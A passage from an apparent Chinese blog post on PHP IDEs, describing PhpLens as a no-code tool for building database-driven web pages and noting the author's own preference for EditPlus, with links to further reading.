  PhpLens是一款专为PHP开发人员准备的快速数据库开发程序。通过使用PhpLens,可以快速的设计、发布和维护数据库驱动的网络产品。它允许你以HTML表格的形式对数据库进行浏览、编辑、创建、删除和查找。不用写任何代码,它就允许你完成上述操作。

  先介绍到这里,以后再慢慢整理,虽然上面的软件都很强大,但我最习惯用的还是editplus。一则我水平不够,这些软件的很多功能用不上,二则英文太差,想用他们还需要熟悉一段时间,更多的PHP IDE可以参考这篇文章 http://www.linuxdocs.org/HOWTOs/PHP-HOWTO-9.html

  我会在自己的blog里不断更新此文章的: (原文已经丢失。。。。)http://www.laogui.com/weblog/index.php?/ archives/48_PHP_IDE.html